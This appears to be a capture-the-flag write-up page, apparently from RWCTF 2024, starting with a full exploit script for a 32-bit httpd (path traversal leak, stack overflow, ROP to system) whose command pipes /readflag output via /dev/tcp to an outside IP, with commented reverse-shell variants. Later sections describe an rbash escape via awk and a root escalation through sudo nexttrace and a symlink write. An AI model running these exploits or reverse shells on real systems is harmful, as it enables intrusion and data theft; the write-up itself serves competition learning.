#!/usr/bin/env python3from pwn import *import syscontext.arch = "i386"context.log_level = "debug"elf = ELF("./httpd", checksec = False)libc = ELF("./libc.so.6", checksec=False)# libc = elf.libchost = "127.0.0.1"#port = 39188port = int(sys.argv[1])def retrieve_file(path):payload = f'''GET /../../../../../../../../../../../..{path} HTTP/1.1\r\n\r\n'''io = remote(host, port)io.send(payload.lstrip().encode("latin-1"))cont = io.recv()if b'HTTP/1.1 200 OK\r\n' in cont:cont = io.recv()io.close()return contdef leak():for pid in range(0, 200):elf_path = b"/home/httpd"libc_path = b"usr/lib/i386-linux-gnu/libc.so.6"file = f"/proc/{pid}/maps"cont = retrieve_file(file)# print(cont)try:maps = cont.split(b"\r\n\r\n")[1]# print(maps)# breakpoint()if elf_path in maps:# print("find {}".format(pid))heap = 0stack = 0for line in maps.split(b"\n"):address_range, permissions, offset, device, inode, mapped_file = line.split()[:6] if len(line.split()) >= 6 else (b"", b"", b"", b"", b"", b"")if heap == 0 and b"[heap]" in mapped_file:heap = int(address_range.split(b"-")[0], 16)print("heap @ {:#x}".format(heap))continueif stack == 0 and b"[stack]" in mapped_file:stack = int(address_range.split(b"-")[0], 16)print("stack @ {:#x}".format(stack))continueif elf.address == 0 and elf_path in mapped_file:elf.address = int(address_range.split(b"-")[0], 16)# breakpoint()print("elf @ {:#x}".format(elf.address))continueif libc.address == 0 and libc_path in mapped_file:libc.address = int(address_range.split(b"-")[0], 16)print("libc @ {:#x}".format(libc.address))# breakpoint()continueif (heap & stack & elf.address & libc.address) != 0:return (heap, stack)except:print("error")continueelse:print("not found")exit(-1)def overflow(addrs):heap, stack = addrsio = remote(host, port)# 0x30 + 0x2c + 0x2a = 0x86# 0xf: '<tr><td>\nk</td>'# 0xf: '<td>v</td></tr>'# 0xe: '<tr><td>k</td>'# 0xf: '<td>v</td></tr>'padding = b"k=v&" * 0x88 # 0x88 * (0xe + 0xf) + 1 + 0x86 = 0xfefpadding += b"p=" # 0xfef + 0xe("<tr><td>p</td>") + 0x4("<td>") = 0x1001'''-00001028 buffer db 4096 dup(?)-00000028 res_1 response ?-0000001C var_1C dd ?-00000018 req_1 request ?-0000000C var_C db 12 dup(?)+00000000 s db 4 dup(?)+00000004 r db 4 dup(?)+00000008 arg_0 request ?+00000014 arg_C response ?+00000020 connfd dd ?+00000024 linePost dd ?''''''/*** Estrutura da resposta.* @status: id do status de retorno* @vProtocol: Versao do protocolo HTTP* @fileName: Nome do arquivo em disco da requisicao*/typedef struct {int status;char *vProtocol;char *fileName;} response;'''payload = b'111' # res.statuspayload += flat(elf.address + 0x306b) # res.vProtocolpayload += flat(stack + 0x1c29c) # res.fileNamepayload += b'aaaa' # padding'''/*** Estrutura da requisição.* @method: Tipo de requisicao (GET/POST)* @uri: Endereco para arquivo no servidor* @vProtocol: Versao do protocolo HTTP*/typedef struct {char *method;char *uri;char *vProtocol;} request;'''payload += flat(elf.address + 0x3008) # req.methodpayload += flat(stack + 0x191fc) # req.uripayload += flat(elf.address + 0x305c) # req.vProtocolpayload += b'bbbbbbbbbbbb' # paddingpayload += b'cccc' # ebp# ropchain = flat(0xdeadbeef)# ropchain += cyclic(0x20)ropchain = flat([libc.sym["system"],0x12345678,#stack + stack_offset,#stack + 0x1c4e8,#heap + 0x81aheap + 0x141a#0x57c7381a])# cmd = b"""perl -MIO::Socket::INET -e '$c=new IO::Socket::INET(PeerAddr,"127.0.0.1:54321");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;';#"""# https://gchq.github.io/CyberChef/#recipe=To_Hex('%5C%5Cx',0)&input=YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY%2BL2Rldi90Y3AvMTI3LjAuMC4xLzU0MzIxIDwmMSc# cmd = br"""echo -e 'bash -c "exec bash -i \x26>/dev/tcp/127.0.0.1/54321 <\x261"' > /tmp/1;sh /tmp/1;#"""# cmd = br"""printf '/bin/bash -c "exec bash -i \x26>/dev/tcp/123.57.212.189/54321 <\x261"' > /tmp/1;sh /tmp/1;#"""cmd = br"""printf '/bin/bash -c "exec /readflag > /dev/tcp/123.57.212.189/54321 "' > /tmp/1;sh /tmp/1;#"""# cmd = b"""id > /tmp/123;#"""payload += ropchain # ret addrpayload += cmdassert b"\n" not in ropchainassert len(payload) < 250 - 14raw_payload = padding + payloadbuffer = b"POST /index.html HTTP/1.1\r\n"buffer += b"\r\n"# buffer = buffer.ljust(0x1000, b'a')buffer += raw_payloadbuffer += b"\r\n"buffer += raw_payload # last line#print(hexdump(buffer))assert len(buffer) <= 0x1000assert b'\x00' not in payloadio.send(buffer)sleep(0.01)# options = b"x" * 0x1000# io.send(options)addrs = leak()# print(retrieve_file("/proc/39/maps"))# pause()overflow(addrs)#for stack_offset in range(0x10000, 0x20000):# try:# overflow(addrs, stack_offset)# except Exception as e:# pass
PS: 附件提供了启动脚本launcher.py来确保本地和远程的内存偏移
Pwn, difficulty:Baby
考察 Ghostscript CVE-2023-28879 的漏洞利用:
漏洞原理:https://offsec.almond.consulting/ghostscript-cve-2023-28879.html
利用 PoC:
https://github.com/AlmondOffSec/PoCs/tree/master/Ghostscript_rce
Pwn, difficulty:Normal
事情的起因是刘大爷上个月的时候发现的一个非常有趣的github项目。
https://github.com/wikihost-opensource/als
这个项目在3周前经历了一次巨大的重构。这一次使用的是v1版本的代码。代码版本和仓库的链接可以通过直接读main.py的源代码得知。

看首页可以看到。项目有提供一个shell。随便跑点命令就可以发现是一个受限的shell。阅读源码查看沙箱构建的方式和权限。

只是一个降权的rbash,继续查看fakeroot的构建代码可以发现:

导入了awk。那接下来就简单了,直接用awk逃rbash。
awk 'BEGIN {system(\"/bin/sh\")}'export PATH=/usr/bin:/bin:/usr/local/bin/
接下来查看flag位置。发现flag在/root下。属于root并且权限为000。因此接下来的步骤就是提权。再次翻看代码就可以发现。

项目给了nexttrace sudo的权限可以以root执行。
接下来就是非预期的部分了。由于时间隔得比较久,加上部署这个题目的时候已经是体验赛开赛前的凌晨4点。实在有点神志不清。忘记了netrace可以直接读取文件内容了。因此只需要nexttrace --file /root/flag即可

接下来来说一说预期的。需要拿root shell才能解的做法:
首先发现nexttrace有-o参数可以指定输出结果到文件。但是再次研究发现-o不能指定写入的位置。只能写到/tmp/trace.log这个文件中。那么很容易就能想到应该用Symbolic Attack。 并且题目描述中也特意提到了关闭了Symbolic Attack保护(虽然非预期了)。
如此一来面临的问题就只有两个了。如何控制nexttrace输出的内容。以及写入哪个文件。
第一个问题,查看nexttrace源码和项目描述就可以看到。nexttrace支持从本地文件中读取ip信息数据库并进行查询:

因此只需要提供一个自定义的ip数据库。将ip所在地替换成我们需要的payload即可。查看源码可以看到。数据库来自一个名为ip2region的项目。
当然值得注意的是。nexttrace使用的ip2region的作者和als的作者一样。已经把v1版本的的代码整个扬了。只能从release下载的文件里还能看到v1版本的代码。
编写ip数据记录并生成数据库。
可以看到输出中已经有了我们的payload。
至于写到哪里就比较简单了。还是看刚才我们看过的rbash的启动代码。可以发现最后一行并不是exec的。因此nexttrace追加写入到该文件(/app/utilities/start_fakeroot.sh)。那么在shell退出之后会继续执行命令。导致root权限的任意代码执行。
Misc, difficulty:Baby
作者看到许多选手Writeup写得太好了,实在自愧不如,于是请大家欣赏下几位选手的Writeup(可复制到浏览器查看🔗):
https://blog.nanax.fr/post/2024-01-28-hardware-longrange2/ by The Flat Network Society
https://github.com/mmm-team/public-writeups/tree/main/rwctf2024/longrange2 by MMM
https://sec.gd/blog/en/posts/long-distance-2/ by WreckTheLine